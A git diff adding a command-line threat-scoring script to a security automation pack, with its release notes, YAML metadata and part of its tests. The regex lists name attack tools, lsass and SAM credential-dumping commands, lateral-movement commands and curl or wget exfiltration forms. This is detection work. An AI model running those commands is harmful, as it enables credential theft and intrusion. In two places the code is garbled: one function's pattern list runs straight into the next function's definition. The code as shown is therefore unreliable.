diff --git a/Packs/CommonScripts/ReleaseNotes/1_18_5.md b/Packs/CommonScripts/ReleaseNotes/1_18_5.md new file mode 100644 index 000000000000..2a4ae8f6e3e2 --- /dev/null +++ b/Packs/CommonScripts/ReleaseNotes/1_18_5.md @@ -0,0 +1,13 @@ + +#### Scripts + +##### New: CommandLineAnalysis + +- New: This script evaluates command-line threats by analyzing both original and decoded inputs. It assigns weighted scores to detected patterns, such as AMSI bypass or credential dumping, and applies risk combination bonuses for multiple detections. The total score is normalized to a 0-100 scale, with risk levels categorized as follows: + +* 0-25: Low Risk +* 26-50: Medium Risk +* 51-90: High Risk +* 91-100: Critical Risk + +The scoring mechanism provides a comprehensive risk assessment, considering both the severity and frequency of malicious behaviors. \ No newline at end of file diff --git a/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis.py b/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis.py new file mode 100644 index 000000000000..bf9259559a0a --- /dev/null +++ b/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis.py @@ -0,0 +1,724 @@ +import demistomock as demisto # noqa: F401 +from CommonServerPython import * # noqa: F401 +import base64 +import re +import ipaddress +import json +from typing import Any + + +def is_base64(possible_base64: str | bytes) -> bool: + """ + Validates if the provided string is a Base64-encoded string. + For strings of length 16 or less, require that the string must contain '+', '/' or '='. + For longer strings, rely solely on strict base64 decoding. + """ + try: + if isinstance(possible_base64, str): + possible_base64 = possible_base64.encode('ascii') + + # Check for valid Base64 characters and correct padding + if not re.fullmatch(b'[A-Za-z0-9+/]*={0,2}', possible_base64): + return False + + # Ensure length is a multiple of 4 + if len(possible_base64) % 4 != 0: + return False + + # Apply heuristic for short strings + if len(possible_base64) <= 16: + # For shorter strings, require at least one '+' or '/' or '=' + if b'=' not in possible_base64: + return False + + # Attempt strict decoding + base64.b64decode(possible_base64, validate=True) + return True + except Exception: + return False + + +def clean_non_base64_chars(encoded_str: str) -> str: + """ + Cleans and ensures the Base64 string contains only valid Base64 characters (+, /, =, alphanumeric). + Adds proper padding if necessary. + """ + # Remove all invalid Base64 characters + cleaned_str = re.sub(r'[^A-Za-z0-9+/=]', '', encoded_str) + + # Fix padding only if the string length is reasonable for Base64 + if len(cleaned_str) % 4 != 0: + cleaned_str += "=" * (4 - len(cleaned_str) % 4) + + return cleaned_str + + +def remove_null_bytes(decoded_str: str) -> str: + """ + Removes null bytes from the decoded string. + """ + return decoded_str.replace("\x00", "") + + +def decode_base64(encoded_str: str, max_recursions: int = 5, force_utf16_le: bool = False) -> tuple[str, bool]: + try: + recursion_depth = 0 + result = encoded_str + + while recursion_depth < max_recursions: + base64_pattern = re.compile(r'([A-Za-z0-9+/]{4,}(?:={0,2}))') + matches = base64_pattern.findall(result) + + if not matches: + break # No potential base64 strings found + + decoded_any = False + for match in matches: + # Check if the match is actually valid Base64 before decoding + if is_base64(match): + cleaned_input = clean_non_base64_chars(match) + try: + decoded_bytes = base64.b64decode(cleaned_input, validate=True) + decoded_str = (decoded_bytes.decode('utf-16-le', errors='replace') + if force_utf16_le else + decoded_bytes.decode('utf-8', errors='replace')) + + # If decoded string differs from the original match, then a decode happened + if decoded_str != match: + result = result.replace(match, decoded_str, 1) + decoded_any = True + except Exception: + # If decoding fails despite is_base64 check, just continue + continue + + if not decoded_any: + # No successful decoding occurred this recursion, so stop + break + + recursion_depth += 1 + + # Double encoding is detected if we performed more than one decoding recursion + double_encoded_detected = (recursion_depth > 1) + return result, double_encoded_detected + + except Exception as e: + demisto.debug(f"Error decoding Base64: {e}") + return "", False + + +def identify_and_decode_base64(command_line: str) -> tuple[str, bool]: + """ + Identifies and decodes all Base64 occurrences in a command line, + returning the decoded content and a flag indicating if any double encoding was detected. + If `-EncodedCommand` is detected, the base64 payload after it will be considered UTF-16-LE. + """ + try: + double_encoded_detected = False + + # Check if `-EncodedCommand` is in the original command line + # If so, we will force UTF-16-LE decoding on any base64 following it. + encoded_command_present = "-EncodedCommand" in command_line or "-enc " in command_line + + # First, check if the entire command_line is Base64 + if is_base64(command_line): + decoded_str, is_double_encoded = decode_base64(command_line, force_utf16_le=encoded_command_present) + return decoded_str, is_double_encoded + + # If not pure Base64, extract Base64 portions using regex + base64_pattern = re.compile(r'([A-Za-z0-9+/]{4,}(?:={0,2}))') + matches = base64_pattern.findall(command_line) + + if not matches: + return command_line, False # No Base64 content found + + result = command_line + for match in matches: + if is_base64(match): + decoded_str, is_double_encoded = decode_base64(match, force_utf16_le=encoded_command_present) + result = result.replace(match, decoded_str, 1) + double_encoded_detected = double_encoded_detected or is_double_encoded + + return result, double_encoded_detected + + except Exception as e: + demisto.debug(f"Error identifying and decoding Base64: {e}") + return command_line, False + + +def reverse_command(command_line: str) -> tuple[str, bool]: + """ + Detects if the command line contains a reversed PowerShell string and reverses it. + """ + if "llehsrewop" in command_line.lower(): + return command_line[::-1], True + return command_line, False + + +def check_malicious_commands(command_line: str) -> list[str]: + patterns = [ + r'\bmimikatz\b', + r'\bLaZagne\.exe\b', + r'\bprocdump\.exe\b', + r'\bcobaltstrike_beacon\.exe\b', + r'\bbloodhound\.exe\b', + r'\bsharphound\.exe\b', + r'\bcme\.exe\b', + r'\bresponder\.py\b', + r'\bsmbexec\.py\b', + r'\bInvoke\-PSRemoting\b', + r'\bInvoke\-TheHash\b', + r'\bGetUserSPNs\.py\b', + r'\beternalblue\.exe\b', + r'\beternalromance\.exe\b', + r'\bmeterpreter\.exe\b', + r'\bmsfconsole\b', + r'\bsharpview\.exe\b', + r'\bInvoke\-SMBExec\b', + r'\bInvoke\-Obfuscation\b', + r'\bInvoke\-CradleCrafter\b', + r'\bcovenant\.exe\b', + r'\bkoadic\b', + r'\bquasar\.exe\b', + r'\bnjRAT\.exe\b', + r'\bdarkcomet\.exe\b', + r'\bnanocore\.exe\b', + r'\bpowercat\.ps1\b', + r'\brubeus\.exe\b', + r'\bc99\.php\b', + r'\bchopper\.php\b', + r'\bwso\.php\b', + r'\bb374k\.php\b', + r'\bbeacon\.exe\b', + r'\bwinrm\.vbs\b', + r'\bmsfvenom\b', + r'\bPowGoop\.ps1\b', + r'\bimpacket\-scripts\b', + r'\bPowerUp\.ps1\b', + r'\bseatbelt\.exe\b', + r'\blsassdump\.py\b', + r'\bInvoke\-ReflectivePEInjection\b', + r'\bInvoke\-Shellcode\b', + r'\bInvoke\-Expression\b', + r'\bInvoke\-WmiMethod\b', + r'\bInvoke\-KickoffAtomicRunner\b' + ] + + matches: list[Any] = [] + for pattern in patterns: + matches.extend(re.findall(pattern, command_line, re.IGNORECASE)) + + return matches + + +def check_reconnaissance_temp(command_line: str) -> list[str]: + patterns = [ + r'\bipconfig\b', + r'\bnetstat\b', + r'\bnslookup\b', + r'\barp\b', + r'\broute\s+print\b', + r'\bhostname\b', + r'\bping\b', + r'\btracert\b', + r'\bwhoami\b', + r'\bnet\s+user\b', + r'\bnet\s+group\b', + r'\bnet\s+localgroup\b', + r'\bquery\s+user\b', + r'\bsysteminfo\b', + r'\btasklist\b', + r'\bsc\s+query\b', + r'\bwmic\s+process\s+list\b', + r'\bfsutil\b', + r'\bdir\b', + r'\battrib\b', + r'\btree\b', + r'\bnetstat\s+\-ano\b', + r'\breg\s+query\b' + ] + + matches: list[Any] = [] + for pattern in patterns: + matches.extend(re.findall(pattern, command_line, re.IGNORECASE)) + + return matches + + +def check_windows_temp_paths(command_line: str) -> list[str]: + """ + Identifies all occurrences of temporary paths in the given command line. + """ + patterns = [ + r'\bC:\\Temp\b', + r'\bC:\\Windows\\System32\\Temp\b', + r'%TEMP%', + r'%TMP%', + r'\\Users\\Public\\Public\s+Downloads\b', + r'\\AppData\\Local\\Temp\b', + r'\\ProgramData\\Microsoft\\Windows\\Caches\b', + r'\\Windows\\System32\\spool\b', + r'\\Windows\\Tasks\b', + r'\\Windows\\debug\b', + r'\\Windows\\Temp\b' + ] + + matches: list[Any] = [] + for pattern in patterns: + matches.extend(re.findall(pattern, command_line, re.IGNORECASE)) + + return matches + + +def check_suspicious_content(command_line: str) -> list[str]: + patterns = [ + r'\-w\s+hidden\b', + r'\-WindowStyle\s+Hidden\b', + r'\-window\s+hidden\b', + r'\-noni\b', + r'\-enc\b', + r'\-NonInteractive\b', + r'\-nop\b', + r'\-noprofile\b', + r'\-ExecutionPolicy\s+Bypass\b', + r'\bBypass\b', + r'\bClipboardContents\b', + r'\bGet\-GPPPassword\b', + r'\bGet\-LSASecret\b', + r'\bnet\s+user\s+\/\s+add\b', + r'\btaskkill\b', + r'\brundll32\b', + r'\blsass\b', + r'\breg\s+add\b', + r'\bbcedit\b', + r'\bschtasks\b', + r'\bnetsh\s+firewall\s+set\b', + r'\s*\ list[str]: + patterns = [ + r'\bSystem\.Management\.Automation\.AmsiUtils\b', + r'\bamsiInitFailed\b', + r'\bLoadLibrary\(\"amsi\.dll\"\)\b', + r'\bAmsiScanBuffer\(\)\b' + ] + + matches: list[Any] = [] + for pattern in patterns: + matches.extend(re.findall(pattern, command_line, re.IGNORECASE)) + + return matches + + +def check_mixed_case_powershell(command_line: str) -> list[str]: + mixed_case_powershell_regex = re.compile( + r'\b(?=.*[a-z])(?=.*[A-Z])[pP][oO][wW][eE][rR][sS][hH][eE][lL]{2}(\.exe)?\b' + ) + + exclusions = {"Powershell", "PowerShell", "powershell", "Powershell.exe", "PowerShell.exe", "powershell.exe"} + + return [ + match.group() for match in mixed_case_powershell_regex.finditer(command_line) + if match.group() not in exclusions + ] + + +def check_powershell_suspicious_patterns(command_line: str) -> list[str]: + """ + Detects potential obfuscation, backdoor mechanisms and Command-and-Control (C2) communication + implemented using PowerShell. + """ + patterns = [ + r'\bNew\-Object\s+Net\.Sockets\.(?:TcpClient|UdpClient)\b', + r'\bSystem\.Net\.Sockets\.Tcp(?:Client|Listener)\b', + r'\.Connect\(', + r'\.AcceptTcpClient\(', + r'\.Receive\(', + r'\.Send\(', + r'\bpowershell.*IEX.*\(New\-Object\s+Net\.WebClient\)\b', + r'\bInvoke\-WebRequest.*-Uri\b', + r'\bInvoke\-RestMethod.*-Uri\b', + r'\bNew\-Object\s+System\.Net\.WebClient\b', + r'\bNew\-Object\s+Net\.WebClient\b', + r'\bDownloadString\b', + r'\bUploadString\b', + r'\bSystem\.Net\.WebSockets\.ClientWebSocket\b', + r'\.ConnectAsync\(', + r'\[char\[\]\]\s*\([\d,\s]+\)|-join\s*\(\s*\[char\[\]\][^\)]+\)', + r'\$(env:[a-zA-Z]+)\[\d+\]\s*\+\s*\$env:[a-zA-Z]+\[\d+\]', + r'%\w+:~\d+,\d+%', + r'(cmd\.exe.*\/V:ON|setlocal.*EnableDelayedExpansion)', + r'if\s+%?\w+%?\s+geq\s+\d+\s+call\s+%?\w+%?:~\d+%?', + r'(\[char\[[^\]]+\]\]){3,}', + r'for\s+%?\w+%?\s+in\s*\([^)]{50,}\)', + r'powershell.*?\b(iex.*?2>&1)\b' + ] + + matches: list[Any] = [] + for pattern in patterns: + matches.extend(re.findall(pattern, command_line, re.IGNORECASE)) + + return matches + + +def check_credential_dumping(command_line: str) -> list[str]: + """ + Detects credential dumping techniques. + """ + patterns = [ + r'\brundll32.*comsvcs\.dll\b', + r'\bprocdump.*lsass\b', + r'\bwmic\s+process\s+call\s+create.*lsass\b', + r'\bInvoke\-Mimikatz\b', + r'\btasklist.*lsass\b', + r'\bProcessHacker\b', + r'\bMiniDumpWriteDump\b', + r'\bGet\-Credential\b', + r'\blsass\.dmp\b', + r'\bntds\.dit\b', + r'\bntdsutil\.exe.*ntds.*create\b', + r'\bsekurlsa\:\:', + r'\bprocdump(\.exe)?\s+-ma\s+lsass\.exe\s+[a-zA-Z0-9_.-]+\.dmp', + r'\brundll32(\.exe)?\s+comsvcs\.dll,\s+MiniDump\s+lsass\.exe\s+[a-zA-Z0-9_.-]+\.dmp.*', + r'\bwmic\s+process\s+call\s+create\s+".*mimikatz.*"', + r'\btaskmgr(\.exe)?\s+/create\s+/PID:\d+\s+/DumpFile:[a-zA-Z0-9_.-]+\.dmp', + r'\bntdsutil(\.exe)?\s+".*ac i ntds.*" "ifm" "create full\s+[a-zA-Z]:\\.*"', + r'\bsecretsdump(\.py)?\s+.*domain/.*:.*@.*', + r'\breg\s+save\s+hklm\\(sam|system)\s+[a-zA-Z0-9_.-]+\.hive', + r'\bwce(\.exe)?\s+-o', + r'\bpowershell.*Invoke\-BloodHound.*-CollectionMethod.*' + ] + + matches: list[Any] = [] + for pattern in patterns: + matches.extend(match.group() for match in re.finditer(pattern, command_line, re.IGNORECASE)) + + return matches + + +def check_lateral_movement(command_line: str) -> list[str]: + """ + Detects potential lateral movement techniques from a given command line. + """ + patterns = [ + r'\b(?:cmd(?:\.exe)?)\s+(?=.*\/q)(?=.*\/c).*?((?:1>\s?.*?)?\s*2>&1)\b', + r'\bpsexec(\.exe)?', + r'\bpsexesvc\.exe\b', + r'\bpsexesvc\.log\b', + r'\bwmic\s+/node:\s*[a-zA-Z0-9_.-]+', + r'\bmstsc(\.exe)?', + r'\\\\[a-zA-Z0-9_.-]+\\C\$\b', + r'\bnet use \\\\.*\\IPC\$\b', + r'\bcopy\s+\\\\[a-zA-Z0-9_.-]+\\[a-zA-Z0-9$]+\b', + r'\bEnter-PSSession\b', + r'\bpowershell.*Enter-PSSession\s+-ComputerName\s+[a-zA-Z0-9_.-]+\s+-Credential\b', + r'\bschtasks\s+/create\s+/tn\s+[a-zA-Z0-9_.-]+\s+/tr\s+".*"\s+/sc\s+[a-zA-Z]+\b', + r'\bpowershell.*Invoke\-Command\s+-ComputerName\s+[a-zA-Z0-9_.-]+\s+-ScriptBlock\b', + r'\bmstsc(\.exe)?\s+/v\s+[a-zA-Z0-9_.-]+\b', + r'\bwmiexec\.py\s+[a-zA-Z0-9_.-]+\s+".*"\b', + r'\bssh.*?-o.*?StrictHostKeyChecking=no\b', + r'\bcopy\s+\\\\[a-zA-Z0-9_.-]+\\[a-zA-Z0-9$]+\\.*\s+[a-zA-Z]:\\.*\b', + r'\bcrackmapexec\s+smb\s+[a-zA-Z0-9_.-]+\s+-u\s+[a-zA-Z0-9_.-]+\s+-p\s+[a-zA-Z0-9_.-]+\s+-x\s+".*"\b' + ] + + matches: list[Any] = [] + for pattern in patterns: + matches.extend(re.findall(pattern, command_line, re.IGNORECASE)) + + return matches + + +def check_data_exfiltration(command_line: str) -> list[str]: + """ + Detects potential data exfiltration techniques from a given command line. + """ + patterns = [ + r'\bcurl\s+-X\s+(POST|PUT)\s+-d\s+@[a-zA-Z0-9_.-]+\s+https?://[a-zA-Z0-9_.-]+/.*\b', + r'\bwget\s+--post-file=[a-zA-Z0-9_.-]+\s+https?://[a-zA-Z0-9_.-]+/.*\b', + r'\bscp\s+-i\s+[a-zA-Z0-9_.-]+\.pem\s+[a-zA-Z0-9_.-]+\s+[a-zA-Z0-9_.-]+:/.*\b', + r'\bftp\s+-n\s+[a-zA-Z0-9_.-]+\s+< list[str]: + matches: list[str] = [] + if custom_patterns: + # Ensure custom_patterns is a list + if isinstance(custom_patterns, str): + custom_patterns = [custom_patterns] # Convert single string to a list + for pattern in custom_patterns: + matches.extend(re.findall(pattern, command_line, re.IGNORECASE)) + return matches + + +def is_reserved_ip(ip_str: str) -> bool: + try: + ip_obj = ipaddress.ip_address(ip_str) + return ( + ip_obj.is_private + or ip_obj.is_loopback + or ip_obj.is_reserved + or ip_obj.is_multicast + or ip_obj.is_link_local + ) + except ValueError: + return False + + +def extract_indicators(command_line: str) -> list[str]: + extracted_indicators: list[str] = [] + try: + indicators = demisto.executeCommand("extractIndicators", {"text": command_line}) + + if indicators and isinstance(indicators, list): + contents = indicators[0].get('Contents', {}) + + # Parse contents if it's a JSON string + if isinstance(contents, str): + try: + contents = json.loads(contents) + except json.JSONDecodeError: + return [] + + # Process all keys in the contents dictionary + if isinstance(contents, dict): + for key, values in contents.items(): + if isinstance(values, list): + for value in values: + if value == "::": + continue + if key == "IP" and is_reserved_ip(value): + continue # Skip reserved IPs + extracted_indicators.append(value) + except Exception as e: + demisto.debug(f"Failed to extract indicators: {str(e)}") + return extracted_indicators + + +def calculate_score(results: Dict[str, Any]) -> Dict[str, Any]: + # Define weights for base scoring + weights: Dict[str, int] = { + "mixed_case_powershell": 25, + "reversed_command": 25, + "powershell_suspicious_patterns": 25, + "credential_dumping": 25, + "double_encoding": 25, + "amsi_techniques": 25, + "malicious_commands": 25, + "custom_patterns": 25, + "data_exfiltration": 15, + "lateral_movement": 15, + "windows_temp_path": 10, + "indicators": 10, + "reconnaissance": 10, + "base64_encoding": 5, + "suspicious_parameters": 5, + } + + # Initialize findings and scores for original and decoded + findings: Dict[str, list[Any]] = {"original": [], "decoded": []} + scores: Dict[str, int] = {"original": 0, "decoded": 0} + + # Define risk groups and bonus scores + high_risk_keys = { + "mixed_case_powershell", "double_encoding", "amsi_techniques", + "malicious_commands", "powershell_suspicious_patterns", + "credential_dumping", "reversed_command", "custom_patterns" + } + medium_risk_keys = { + "data_exfiltration", "lateral_movement", "indicators", + } + low_risk_keys = { + "suspicious_parameters", "windows_temp_path", "reconnaissance", "base64_encoding", + } + + risk_bonuses: Dict[str, int] = { + "high": 30, + "medium": 20, + "low": 10, + } + + # Define the fixed theoretical maximum score + theoretical_max = 120 + + # Helper function to calculate score and detect combinations + def process_context(context_name: str, context_results: Dict[str, Any]) -> tuple[int, list[str]]: + context_score = 0 + context_findings: list[str] = [] + context_keys_detected: Set[str] = set() + + # Calculate base score for each key (count each category once) + for key, value in context_results.items(): + if value and value != "{}": + context_keys_detected.add(key) + if isinstance(value, list) and len(value) > 0: + # Add weight once, report how many instances were found + context_score += weights.get(key, 0) + context_findings.append(f"{key.replace('_', ' ')} detected ({len(value)} instances)") + else: + # Not a list or empty list, just count once + context_score += weights.get(key, 0) + context_findings.append(f"{key.replace('_', ' ')} detected") + + # Apply combination bonuses based on detected keys + if (high_risk_keys & context_keys_detected) and len(context_keys_detected) > 1: + context_score += risk_bonuses["high"] + context_findings.append("High-risk combination detected") + elif (medium_risk_keys & context_keys_detected) and len(context_keys_detected) > 1: + context_score += risk_bonuses["medium"] + context_findings.append("Medium-risk combination detected") + elif (low_risk_keys & context_keys_detected) and len(context_keys_detected) > 1: + context_score += risk_bonuses["low"] + context_findings.append("Low-risk combination detected") + + return context_score, context_findings + + # Process original and decoded findings + scores["original"], findings["original"] = process_context("original", results.get("analysis", {}).get("original", {})) + scores["decoded"], findings["decoded"] = process_context("decoded", results.get("analysis", {}).get("decoded", {})) + + # Check global combinations (e.g., double encoding globally) + if results.get("Double Encoding Detected"): + # Add the double_encoding weight once if detected + scores["decoded"] += weights["double_encoding"] + findings["decoded"].append("Double encoding detected") + + # Calculate total raw score + total_raw_score = scores["original"] + scores["decoded"] + # Normalize the score to fit within 0-100 based on the fixed theoretical max + normalized_score = (total_raw_score / theoretical_max) * 100 + normalized_score = min(normalized_score, 100) # Cap at 100 + + # Determine overall risk level + risk = "Low Risk" + if normalized_score > 90: + risk = "Critical Risk" + elif normalized_score > 50: + risk = "High Risk" + elif normalized_score > 25: + risk = "Medium Risk" + + return { + "score": int(round(normalized_score, 0)), + "findings": findings, + "risk": risk, + } + + +def analyze_command_line(command_line, custom_patterns=None): + """ + Analyzes the given command line for suspicious patterns, indicators, and encodings. + """ + reversed_command_line, is_reversed = reverse_command(command_line) + if is_reversed: + command_line = reversed_command_line # Use the reversed command line for further analysis + + decoded_command_line, double_encoded = identify_and_decode_base64(command_line) + + results = { + "original_command": command_line, + "analysis": {"original": {}} + } + + # Perform checks on the original command line + results["analysis"]["original"] = { + "malicious_commands": check_malicious_commands(command_line), + "windows_temp_path": check_windows_temp_paths(command_line), + "suspicious_parameters": check_suspicious_content(command_line), + "mixed_case_powershell": check_mixed_case_powershell(command_line), + "powershell_suspicious_patterns": check_powershell_suspicious_patterns(command_line), + "credential_dumping": check_credential_dumping(command_line), + "custom_patterns": check_custom_patterns(command_line, custom_patterns) if custom_patterns else [], + "reconnaissance": check_reconnaissance_temp(command_line), + "lateral_movement": check_lateral_movement(command_line), + "data_exfiltration": check_data_exfiltration(command_line), + "amsi_techniques": check_amsi(command_line), + "indicators": extract_indicators(command_line), + "base64_encoding": decoded_command_line if decoded_command_line else [] + } + + if is_reversed: + results["analysis"]["original"]["reversed_command"] = ["reversed_command"] + + # Identify and analyze decoded Base64 command line if available + if decoded_command_line: + results["decoded_command"] = decoded_command_line + results["analysis"]["decoded"] = { + "malicious_commands": check_malicious_commands(decoded_command_line), + "windows_temp_path": check_windows_temp_paths(decoded_command_line), + "suspicious_parameters": check_suspicious_content(decoded_command_line), + "mixed_case_powershell": check_mixed_case_powershell(decoded_command_line), + "powershell_suspicious_patterns": check_powershell_suspicious_patterns(decoded_command_line), + "credential_dumping": check_credential_dumping(decoded_command_line), + "custom_patterns": check_custom_patterns(decoded_command_line, custom_patterns) if custom_patterns else [], + "reconnaissance": check_reconnaissance_temp(decoded_command_line), + "lateral_movement": check_lateral_movement(decoded_command_line), + "data_exfiltration": check_data_exfiltration(decoded_command_line), + "amsi_techniques": check_amsi(decoded_command_line), + "indicators": extract_indicators(decoded_command_line) + } + results["Double Encoding Detected"] = double_encoded + + # Calculate the score + score_details = calculate_score(results) + results.update(score_details) + + return results + + +def main(): + """ + Entry point for analyzing command lines for suspicious activities and patterns. + """ + args = demisto.args() + command_lines = args.get("command_line", []) + custom_patterns = args.get("custom_patterns", []) + + if isinstance(command_lines, str): + command_lines = [command_lines] + + # Analyze each command line + results = [analyze_command_line(cmd, custom_patterns) for cmd in command_lines] + + # Prepare readable output for the results + readable_output = "\n\n".join([ + f"Command Line: {result['original_command']}\n" + f"Risk: {result['risk']}\n" + f"Score: {result['score']}\n" + f"Findings (Original): {', '.join(result['findings']['original'])}\n" + f"Findings (Decoded): {', '.join(result['findings'].get('decoded', []))}\n" + for result in results + ]) + + # Return results + return_results(CommandResults( + readable_output=readable_output, + outputs_prefix="CommandLineAnalysis", + outputs_key_field="original_command", + outputs=results + )) + + +if __name__ in ("__builtin__", "builtins", "__main__"): + main() diff --git a/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis.yml b/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis.yml new file mode 100644 index 000000000000..df615f1091a2 --- /dev/null +++ b/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis.yml @@ -0,0 +1,93 @@ +commonfields: + id: CommandLineAnalysis + version: -1 +name: CommandLineAnalysis +script: '' +type: python +tags: [] +comment: "This script evaluates command-line threats by analyzing both original and decoded inputs. It assigns weighted scores to detected patterns, such as AMSI bypass or credential dumping, and applies risk combination bonuses for multiple detections. The total score is normalized to a 0-100 scale, with risk levels categorized as follows:\n\n* 0-25: Low Risk\n* 26-50: Medium Risk\n* 51-90: High Risk\n* 91-100: Critical Risk\n\nThe scoring mechanism provides a comprehensive risk assessment, considering both the severity and frequency of malicious behaviors." +enabled: true +args: +- name: command_line + required: true + description: The command line input to analyze. +- name: custom_patterns + description: A list of custom regex patterns to search for within the command line. Each pattern should be a valid regular expression string. +outputs: +- contextPath: CommandLineAnalysis.original_command + description: The original command line string analyzed for potential risks. +- contextPath: CommandLineAnalysis.decoded_command + description: The decoded Base64 command line string, if decoding was performed. +- contextPath: CommandLineAnalysis.risk + description: The overall risk level derived from the command line analysis, classified as Low, Medium, High, or Critical. +- contextPath: CommandLineAnalysis.score + description: The normalized score (0-100) representing the risk associated with the analyzed command line. +- contextPath: CommandLineAnalysis + description: A detailed summary of the analysis results, including findings and scores. +- contextPath: CommandLineAnalysis.findings.original + description: Findings from the analysis of the original command line, highlighting the detected patterns. +- contextPath: CommandLineAnalysis.findings.decoded + description: Findings from the analysis of the decoded Base64 command line, if decoding was applicable. +- contextPath: CommandLineAnalysis.analysis.original.malicious_commands + description: Checks for malicious commands in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.windows_temp_path + description: Checks if the original command line accesses Windows temporary paths. +- contextPath: CommandLineAnalysis.analysis.original.suspicious_parameters + description: Identifies suspicious parameters or content in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.mixed_case_powershell + description: Detects mixed case PowerShell commands in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.powershell_suspicious_patterns + description: Searches for suspicious PowerShell patterns in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.credential_dumping + description: Checks for credential dumping techniques in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.custom_patterns + description: Matches custom patterns (if provided) in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.reconnaissance + description: Checks for reconnaissance activities in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.lateral_movement + description: Identifies lateral movement techniques in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.data_exfiltration + description: Detects data exfiltration activities in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.amsi_techniques + description: Checks for AMSI bypass techniques in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.indicators + description: Extracts indicators of compromise (IOCs) from the original command line. +- contextPath: CommandLineAnalysis.analysis.original.base64_encoding + description: Decoded content from Base64 encoding in the original command line. +- contextPath: CommandLineAnalysis.analysis.original.reversed_command + description: Indicates if the original command line was reversed. +- contextPath: CommandLineAnalysis.analysis.decoded.malicious_commands + description: Checks for malicious commands in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.windows_temp_path + description: Checks if the decoded Base64 command line accesses Windows temporary paths. +- contextPath: CommandLineAnalysis.analysis.decoded.suspicious_parameters + description: Identifies suspicious parameters or content in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.mixed_case_powershell + description: Detects mixed case PowerShell commands in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.powershell_suspicious_patterns + description: Searches for suspicious PowerShell patterns in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.credential_dumping + description: Checks for credential dumping techniques in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.custom_patterns + description: Matches custom patterns (if provided) in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.reconnaissance + description: Checks for reconnaissance activities in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.lateral_movement + description: Identifies lateral movement techniques in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.data_exfiltration + description: Detects data exfiltration activities in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.amsi_techniques + description: Checks for AMSI bypass techniques in the decoded Base64 command line. +- contextPath: CommandLineAnalysis.analysis.decoded.indicators + description: Extracts indicators of compromise (IOCs) from the decoded Base64 command line. +- contextPath: CommandLineAnalysis.Double Encoding Detected + description: Identifies nested Base64 strings. +scripttarget: 0 +subtype: python3 +runonce: false +dockerimage: demisto/python3:3.11.10.116949 +runas: DBotWeakRole +engineinfo: {} +fromversion: 6.10.0 +tests: +- No tests (auto formatted) diff --git a/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis_test.py b/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis_test.py new file mode 100644 index 000000000000..e56f1c8db1f3 --- /dev/null +++ b/Packs/CommonScripts/Scripts/CommandLineAnalysis/CommandLineAnalysis_test.py @@ -0,0 +1,129 @@ +import pytest +from CommandLineAnalysis import ( + is_base64, + remove_null_bytes, + decode_base64, + identify_and_decode_base64, + reverse_command, + check_malicious_commands, + check_reconnaissance_temp, + check_windows_temp_paths, + check_suspicious_content, + check_amsi, + check_mixed_case_powershell, + check_powershell_suspicious_patterns, + analyze_command_line +) + + +# Test data +DOUBLE_ENCODED_STRING = "cmVjdXJzaXZlIGRlY29kZSBaR1ZqYjJSbElGWkhhSEJqZVVKd1kzbENhRWxJVW14ak0xRm5Zek5TZVdGWE5XND0=" +MALICIOUS_COMMAND_LINE = "wevtutil cl Security RG91YmxlIGVuY29kaW5nIFZHaHBjeUJwY3lCaElHeHBjM1JsYm1WeUtERXhMakV3TVM0eE1qUXVNaklw" + + +@pytest.fixture +def sample_encoded_command() -> str: + return DOUBLE_ENCODED_STRING + + +@pytest.fixture +def sample_malicious_command() -> str: + return MALICIOUS_COMMAND_LINE + + +# Test is_base64 +def test_is_base64(): + valid_base64 = "VGVzdFN0cmluZw==" + invalid_base64 = "ThisIsNotBase64" + + assert is_base64(valid_base64) is True + assert is_base64(invalid_base64) is False + + +# Test remove_null_bytes +def test_remove_null_bytes(): + string_with_nulls = "test\x00string\x00" + assert remove_null_bytes(string_with_nulls) == "teststring" + + +# Test decode_base64 +def test_decode_base64(sample_encoded_command): + decoded_str, double_encoded = decode_base64(sample_encoded_command) + assert "recursive decode" in decoded_str # Check successful decoding + assert double_encoded is True # Verify double encoding is detected + + +# Test identify_and_decode_base64 +def test_identify_and_decode_base64(sample_malicious_command): + decoded_command, is_double_encoded = identify_and_decode_base64(sample_malicious_command) + assert "11.101.124.22" in decoded_command + assert is_double_encoded is True + + +# Test reverse_command +def test_reverse_command(): + reversed_string = "llehSrewoP" + result, was_reversed = reverse_command(reversed_string) + assert result == "PowerShell" + assert was_reversed is True + + +# Test check_malicious_commands +def test_check_malicious_commands(): + command = "Invoke-Expression mimikatz" + matches = check_malicious_commands(command) + assert "mimikatz" in matches + + +# Test check_reconnaissance_temp +def test_check_reconnaissance_temp(): + command = "ipconfig /all netstat -ano" + matches = check_reconnaissance_temp(command) + assert "ipconfig" in matches + assert "netstat -ano" in matches + + +# Test check_windows_temp_paths +def test_check_windows_temp_paths(): + command = "C:\\Temp\\test.txt %TEMP%\\malware.exe" + matches = check_windows_temp_paths(command) + assert "C:\\Temp" in matches + assert "%TEMP%" in matches + + +# Test 